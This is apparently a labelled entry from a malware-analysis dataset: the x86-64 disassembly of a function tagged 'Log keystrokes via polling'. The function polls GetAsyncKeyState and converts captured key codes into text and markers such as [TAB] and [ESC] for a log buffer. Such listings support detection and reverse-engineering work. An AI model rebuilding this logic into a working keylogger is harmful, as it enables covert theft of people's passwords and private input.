Function at 0x1400111e5
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x140020dd0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
mov dword [rbp + 0xe4], 0
lea rcx, [0x140040109]
call fcn.140011bcc
nop
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x140020e1c
mov byte [rbp + 0xf4], 1
jmp 0x140020e23
mov byte [rbp + 0xf4], 0
movzx eax, byte [rbp + 0xf4]
mov byte [rbp + 4], al
cmp dword [rbp + 0x128], 0x41
jl 0x140020ebd
cmp dword [rbp + 0x128], 0x5a
jg 0x140020ebd
movzx eax, byte [rbp + 4]
test eax, eax
je 0x140020e7f
movzx r8d, byte [rbp + 0x128]
mov edx, 1
mov rcx, qword [rbp + 0x120]
call fcn.1400116c2
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
mov eax, dword [rbp + 0x128]
add eax, 0x20
movzx r8d, al
mov edx, 1
mov rcx, qword [rbp + 0x120]
call fcn.1400116c2
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
cmp dword [rbp + 0x128], 0x30
jl 0x140021159
cmp dword [rbp + 0x128], 0x39
jg 0x140021159
movzx eax, byte [rbp + 4]
test eax, eax
je 0x140021125
mov eax, dword [rbp + 0x128]
mov dword [rbp + 0xf4], eax
mov eax, dword [rbp + 0xf4]
sub eax, 0x30
mov dword [rbp + 0xf4], eax
cmp dword [rbp + 0xf4], 9
ja case.default.0x140020f23
movsxd rax, dword [rbp + 0xf4]
lea rcx, [0x140000000]
mov eax, dword [rcx + rax*4 + 0x2173c]
add rax, rcx
jmp rax
lea rdx, str.______
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x14003114c]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x140031150]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x140031154]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x140031158]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x14003115c]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x140031160]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x140030edc]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x140031164]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x140031168]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
movzx r8d, byte [rbp + 0x128]
mov edx, 1
mov rcx, qword [rbp + 0x120]
call fcn.1400116c2
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
movzx r8d, byte [rbp + 0x128]
mov edx, 1
mov rcx, qword [rbp + 0x120]
call fcn.1400116c2
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
mov eax, dword [rbp + 0x128]
mov dword [rbp + 0xf4], eax
mov eax, dword [rbp + 0xf4]
sub eax, 8
mov dword [rbp + 0xf4], eax
cmp dword [rbp + 0xf4], 0xd6
ja case.0x1400211a4.21
movsxd rax, dword [rbp + 0xf4]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x217bc]
mov eax, dword [rcx + rax*4 + 0x21764]
add rax, rcx
jmp rax
lea rdx, [0x14003116c]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x1400310fc]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x140031170]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, str._TAB_
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x140030ede]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x140030ede]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x140030ede]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, str._ESC_
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, str._LEFT_WIN_
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, str._RIGHT_WIN_
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
movzx eax, byte [rbp + 4]
test eax, eax
je 0x14002138a
lea rax, str.:______._______b
mov qword [rbp + 0xf8], rax
jmp 0x140021398
lea rax, [0x1400311b4]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
movzx eax, byte [rbp + 4]
test eax, eax
je 0x1400213de
lea rax, [0x1400311b8]
mov qword [rbp + 0xf8], rax
jmp 0x1400213ec
lea rax, [0x1400311bc]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
movzx eax, byte [rbp + 4]
test eax, eax
je 0x140021432
lea rax, [0x1400311c0]
mov qword [rbp + 0xf8], rax
jmp 0x140021440
lea rax, [0x1400311c4]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
movzx eax, byte [rbp + 4]
test eax, eax
je 0x140021486
lea rax, [0x1400311c8]
mov qword [rbp + 0xf8], rax
jmp 0x140021494
lea rax, [0x1400311cc]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
movzx eax, byte [rbp + 4]
test eax, eax
je 0x1400214da
lea rax, [0x1400311d0]
mov qword [rbp + 0xf8], rax
jmp 0x1400214e8
lea rax, [0x1400311d4]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
movzx eax, byte [rbp + 4]
test eax, eax
je 0x14002152e
lea rax, [0x1400311d8]
mov qword [rbp + 0xf8], rax
jmp 0x14002153c
lea rax, [0x1400311dc]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
movzx eax, byte [rbp + 4]
test eax, eax
je 0x140021582
lea rax, [0x1400311e0]
mov qword [rbp + 0xf8], rax
jmp 0x140021590
lea rax, [0x1400311e4]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
movzx eax, byte [rbp + 4]
test eax, eax
je 0x1400215d6
lea rax, [0x1400311e8]
mov qword [rbp + 0xf8], rax
jmp 0x1400215e4
lea rax, [0x1400311ec]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
movzx eax, byte [rbp + 4]
test eax, eax
je 0x14002162a
lea rax, [0x1400311f0]
mov qword [rbp + 0xf8], rax
jmp 0x140021638
lea rax, [0x1400311f4]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
movzx eax, byte [rbp + 4]
test eax, eax
je 0x14002167e
lea rax, [0x1400311f8]
mov qword [rbp + 0xf8], rax
jmp 0x14002168c
lea rax, [0x1400311fc]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
movzx eax, byte [rbp + 4]
test eax, eax
je 0x1400216cf
lea rax, [0x140031200]
mov qword [rbp + 0xf8], rax
jmp 0x1400216dd
lea rax, [0x140031204]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
jmp 0x140021731
lea rdx, [0x1400311d8]
mov rcx, qword [rbp + 0x120]
call fcn.14001154b
mov eax, dword [rbp + 0xe4]
or eax, 1
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0x120]
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret